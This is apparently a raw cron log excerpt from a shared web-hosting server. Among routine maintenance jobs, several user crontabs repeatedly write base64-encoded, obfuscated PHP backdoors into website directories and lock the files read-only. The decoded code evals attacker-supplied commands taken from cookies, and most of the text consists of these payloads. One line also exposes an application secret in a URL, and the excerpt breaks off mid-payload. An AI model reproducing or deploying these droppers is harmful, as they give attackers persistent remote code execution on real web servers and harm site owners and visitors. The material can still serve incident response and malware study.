b3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:32:02 medusa CROND[24232]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:32:02 medusa CROND[24233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:32:02 medusa CROND[24234]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:32:02 medusa CROND[24235]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:32:02 medusa CROND[24236]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:32:02 medusa CROND[24237]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:32:02 medusa CROND[24242]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:32:02 medusa CROND[24250]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:32:02 medusa CROND[24251]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:32:02 medusa CROND[24256]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:33:02 medusa CROND[25690]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:33:02 medusa CROND[25722]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:33:02 medusa CROND[25723]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:33:02 medusa CROND[25724]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:33:02 medusa CROND[25725]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:33:02 medusa CROND[25726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:33:02 medusa CROND[25728]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:33:02 medusa CROND[25729]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 05:33:02 medusa CROND[25730]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:33:02 medusa CROND[25732]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:33:02 medusa CROND[25733]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:33:02 medusa CROND[25731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:34:01 medusa CROND[27146]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:34:01 medusa CROND[27147]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:34:01 medusa CROND[27148]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:34:01 medusa CROND[27149]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:34:01 medusa CROND[27150]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1B